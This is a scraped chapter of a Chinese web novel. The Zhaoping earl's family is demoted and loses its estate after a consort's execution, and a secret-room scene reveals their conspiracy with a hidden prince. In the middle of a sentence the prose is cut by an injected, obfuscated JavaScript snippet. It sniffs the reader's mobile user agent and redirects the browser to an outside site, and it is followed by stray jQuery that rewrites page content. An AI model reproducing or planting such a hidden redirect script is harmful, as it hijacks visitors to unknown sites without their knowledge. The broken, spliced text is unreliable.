59.昭平伯府被贬
作品:《踹了清冷世子后,竹马将军真香(重生)》 昭平伯府,大门。
昭平伯府众人齐齐跪在门前,听完圣旨内容,大家的脸上都带着惊恐和不可置信。
高公公宣完圣旨,见韦裕迟迟不上前接旨,脸上露出不满,冷笑道:“韦主簿,还不接旨,你可是对皇上有意见?”
昭平伯——不对,现在是太仆寺主簿韦裕。一听这话,冷汗顺着鬓角滑落,立即伸手恭敬接过圣旨。
“臣谢主隆恩。”
韦裕从高公公手中接过圣旨,看着那明黄色绢布,只觉心神震荡,久久不能平息。
刚刚皇上亲自下旨,因韦侧妃谋害储君,证据确凿,韦侧妃被赐死,直接从玉牒上除名,皇室再无此人,故也不配葬入皇室。现在她的尸体,正停在昭平伯府大门处。
昭平伯府教女无方,特收回伯府爵位、抄没家产,以示惩戒。昭平伯韦裕从户部调任至太仆寺,任从七品主簿一职。
韦裕既已接了圣旨,高公公也就完成了此行的目的,就准备带着几个小公公回宫,只留下一队御林军。
没成想正转身离开时,被突然起身的崔倩一把拽住衣袖。高公公冷眼一扫,猛然将袖子抽回。
跟着的小公公最会趋炎附势,上前直接怒斥道:“大胆!竟敢对高公公不敬,小心咱家让人砍了你这只脏手。”
只是个小小的七品夫人,难不成还当自己是高高在上的伯府夫人不成。
崔倩没理会这个一脸狗仗人势的小公公,继续腆着脸看向高公公,不解道:“高公公,女子出嫁从夫,她犯的错,为什么要牵连娘家?我们伯府一心忠于皇上,还请皇上明察啊!”
“韦侧妃做的事情,我们真的一点都不知情,也不是帮凶。我娘家大嫂是皇上的亲妹妹,能不能看在她的面子上,给我们一个进宫面圣的机会?”
此话一出,韦家人眼底都迸发出希望,却在听到高公公的话后,眼底又再次黯淡了下去。
“若不是念着长公主殿下的情分,你们今日就不仅仅只是削爵抄家,而是该跟你那正关在刑部的二儿子韦坚一起,全家流放漠北了。”
“韦夫人,人贵有自知之明。没什么事,还是不要去叨扰长公主了。”
几个月前韦坚杀人,因为证据确凿被判流放漠北,预计下个月就要启程了。
说完这些,也不再看向韦家众人,转身快步离开。走之前还看了御林军统领一眼,御林军统领微微颔首。
在高公公乘坐马车离开后,御林军统领大步向前,说话声音之大,就连门外看热闹的百姓都听得一清二楚。
“韦主簿,皇上有令,限韦家两个时辰内从伯府搬出去。一人只可携带一个箱笼离开,男子只许带衣物、书籍,女子只能带衣物、首饰。”
韦裕一时有些踉跄,身子向后倒了倒,还好一旁的韦大公子及时扶住他。韦裕看向御林军统领的眼神带着一丝晦暗,最后仍是艰难地点了点头,“统领放心,本官知道了。”
韦大公子安安静静站在韦裕身后,眼神却不时看向父亲手中那明黄色的卷轴,眼底略过淡淡怅然。
崔倩根本接受不了这个事实,她快步上前拉住韦裕的衣襟,脸色带着癫狂,怒喝道:“韦裕,你到底背着我在做些什么事?现在就因为你这些算计被人识破,害得我要跟着你流落街头,你到底有没有心?”
“就你那原配生的孩子金贵,我生的孩子就不是你的种吗?为什么她犯下的错,要让我和我的儿女来承受,这不公平!不公平!”
韦裕想挣脱,却不想崔倩力气出奇地大,一时竟有些挣不开。崔倩的神经在崩溃的边缘,韦裕越挣扎,她的手就越用力。
不一会儿,韦裕的脖子、脸和手臂处都布满了抓痕,血迹斑斑。一旁的下人根本不敢上前阻拦,门外的百姓们看着倒是津津有味。
平常更多看到的是女子与女子扯头花,男子与女子扯头花的场面,还真是不多见的。韦大公子韦殷涛、二小姐韦彤就像看不见一般,两人都垂首站在不远处,一个目光发沉,一个眼神涣散。
最后还是跟了韦裕十多年的赵管家看不过去,上前将夫人拉开,为此也被她无差别地抓挠了好几处。
在赵管家的帮助下,韦裕总算是将崔倩推开。他恶狠狠地瞪了眼妻子和一直在旁看着的女儿韦彤。
“管家,尽快安排下人,将东西都收拾好。殷涛,你跟我现在去一趟书房。”
交代完收拾的事情后,他转身就向府内走去,韦殷涛神情淡然跟在身后,眼里不曾出现片刻的慌乱。
就好像,这只是一件再稀松平常不过的事!
赵管家看着父子俩离去的背影,又注意到一旁盖在白布下,躺着的大小姐的尸体,眼底溢满了悲痛。
他正欲开口让下人将大小姐的尸体抬进府,却被一旁的崔倩开口阻止。
她一个箭步上前,狠狠给了赵管家一巴掌。刚刚韦裕在,她不敢动手;韦裕一走,她也就没什么怕的了。
这一巴掌下去,赵管家身后的下人忙不迭后退半步,死死低着头,再不敢上前半步。
“赵管家,伯府就是因为她,才被抄家的。你要是敢把她抬进去,就等着跟她一起赶出府。”
也没等赵管家应声,她就拉着女儿韦彤,挺直腰板向府内后院走去。如果步伐不那么慌乱,就与平时的伯夫人别无二样。
韦彤穿着宽松的衣裙,脸上也有些臃肿,脚步略有些艰难地跟在崔倩身后。若不是崔倩发现后刻意放慢步伐,韦彤就要被她拖着走了。
待夫人离开,身后的下人你看看我,我看看你,还是一个跟了赵管家比较久的下人上前,轻声问道:“赵管家,我们后面该怎么办啊?”
“签了卖身契的,只能主家去哪,你们跟去哪;没签卖身契的,可以选择现在去账房结这个月的银子走人,也可以选择继续跟着主家走。”
见夫人走远,赵管家神色严肃,挥了挥手让两个下人将韦侧妃抬入府内,迈步跟在身后进府。他不再管院子里的下人,径自向府内书房走去。
昭平伯府书房,密室内。
密室昏暗,不见天日。密室内只有一张小桌,几个矮凳。烛台上的火苗轻轻摇曳,一旁的炭盆里炭火烧得正旺,还不时有零星火苗燃起。
看炭火正旺,韦裕拿起桌子上的纸册,一页页撕下丢进炭盆,一时间火舌窜高,映得二人神情忽明忽暗。
待将手中的册子烧净后,韦裕见韦殷涛一直盯着炭盆看,以为他心情不好。他拿起桌上的茶壶,起身给他倒了杯茶,安慰道:“殿下,你不用替婷儿伤心。能够为你而死,是她的福气。”
韦婷,就是韦侧妃的闺名。
韦殷涛眼底划过一道暗光,脸渐渐出现悲伤的情绪,“韦叔,都是为了我,阿婷才......让你白发人送黑发人,是我对不起你们。”
韦裕虽然痛心长女的离世,但他更在乎的是成功后那一人之下、万人之上的权利
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137113|192396||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。他将倒了七分满的茶杯递给韦殷涛,眼底只有无尽的欲望,“殿下,我们走的这条路,本就艰险无比。在这条路上倒下的人,数不胜数,他们都是英雄。”
“但他们不会白白牺牲!等到我们成功的那一天,一定会让世人都知道他们的付出。到那时,臣相信,殿下一定会厚葬他们。”
韦殷涛神色微变,声音里带着激动:“若能成功,本殿下一定会厚葬他们,福及他们的子孙后代。”
韦裕身子弯下,行了一个有些诡异的礼,恭敬道:“臣替他们谢过殿下。”
韦殷涛忙伸手将他扶起,然后像是想到了什么,忍不住叹了口气,“最近这段时间,我们事事不顺。”
“先是想拉拢护国公府,故意将那证人李松的身份透露给护国公,好让他们俯首称臣,也趁机将清远侯府拉下水;却最后连一个闺阁女子都搞不定,活生生错失良机,国公府降为安定侯府,利用价值大大下降。”
“这次本想利用大雪后疫病爆发,给端朝狠狠一个打击。却又不知道哪儿突然冒出来一个司徒神医,不过用了几天时间,就给出了控制之法。事到最后,反而是我们折损不少人,还害得阿婷失去性命。”
“韦叔,你说,是不是我们内部出了奸细?”
韦殷涛轻抿一口茶水,转头看向韦裕,眼底深处藏着隐隐的猜忌,不易让人察觉。
韦裕正低头思考,故而错过了发现的机会。等再看过去时,那猜忌早已消失,只剩下满满的信任与仰重。
韦裕心头一暖,嘴角的笑容也多了几分真诚,肯定道:“殿下多虑了,此事知道的人甚少。那些人都是陪殿下出生入死之人,是断不可能背叛。”
韦殷涛点了点头,表示自己也觉得韦裕说的在理。
韦裕继续道:“依臣之见,当务之急还是我们离开伯府后,如何更好地隐蔽起来,等有了更好的时机再出手。”
“臣觉得——”
“笃笃笃。”
韦裕正准备说后续时,密室门突然被人敲响,屋子里的人立刻都安静了下来,屏息凝神。
“谁?”
韦裕上前来到密室入口处,轻声问道。
“老爷,是小人。”
在听清是赵管家的声音后,韦裕和韦殷涛同时松了口气,他们还以为是御林军发现了这儿。
韦裕隔着门,再次问道:“什么事?”
“老爷,御林军给的时间不多了。我想着咱们是不是先尽快收拾东西离开,以免时间来不及,被御林军发现什么不该发现的。”
韦裕有些犹豫,他虽说把重要的书信都已经烧毁,可还有不少东西需要收拾。
韦殷涛放下手中的茶杯,善解人意道:“韦叔,你去处理吧。我再坐一会儿,也要回院子收拾东西了。至于后续的计划,我们晚点儿再商议。”
“好,那臣先行离开。”
“好的,韦叔。”
韦裕按下密室开关,出去后又将密室的门关上,就随着赵管家离开书房。
密室内,韦殷涛一人坐在原地,看着面前的茶杯,眼里意味不明。
时间过去了一会儿,他突然对着空荡荡的密室吩咐道:“计划提前,那顾清河留不得。半个月内,带他的人头来见我。”
密室内静悄悄地,过了几息后,密室角落暗影一动,屋中突然出现了一个黑衣男子,行了一个与韦裕一样的礼。
“是,主子。”

